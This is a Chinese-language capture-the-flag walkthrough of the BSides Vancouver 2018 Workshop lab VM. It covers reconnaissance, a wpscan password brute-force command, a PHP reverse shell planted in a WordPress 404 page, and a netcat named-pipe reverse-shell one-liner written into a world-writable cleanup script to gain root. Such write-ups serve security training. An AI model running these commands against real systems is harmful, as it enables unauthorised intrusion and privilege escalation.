BSides-Vancouver-2018-Workshop靶机教学

——以上内容由**音乐热评筛选

arp发现靶机ip地址nmap扫描端口访问一下80端口dirb跑一下目录看下robots页面来到了新的页面有点熟悉这时候想起ftp可以匿名登录，看到这个users get下来看看cat一下应该是用户那有了用户名，有wordpress站点，是不是就可以爆破一下了，先把wp-admin的目录跑出来用wpscan扫一下，果然发现john用户还有他的密码

wpscan --url http://192.168.52.137/backup_wordpress -e u -P /usr/share/wordlists/metasploit/burnett_top_1024.txt

又来到这个熟悉的页面，找到404页面插入反弹shell脚本，然后访问不存在的页面出发脚本会把将这个php-reverse-shell.php改这两粘贴到404这块我们在kali上开启监听，然后回到首页，随便访问一个不存在的页面触发脚本先拿一个交互式终端然后进行一波信息收集，这版本没有内核提权searchsploit没找到没有内核的话，那就只能去翻wp-config了看看有没有数据库密码，果然在www目录下找到wp-config直接进来直接进行一波信息收集识别一下是个md5解不出来，那只能换个思路了找一下系统里面有没有777的权限，发现一个cleanup那就是说往里面写一个反弹的语句就ok了，用这个小插件生成一个反弹shell的指令写进去了，连上了但是好像又没连那选一个这个rm的吧，原来clean up里面瞄了一眼也是rm什么咕噜咕噜的

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.52.134 6666 >/tmp/f

写进去./执行即可，这里有点小问题好像给靶机打坏了，正常到这./执行就ok咯，或者等一分钟，等系统自动运行，建议等一分钟，./执行可能不是root权限！！这里云一下结果吧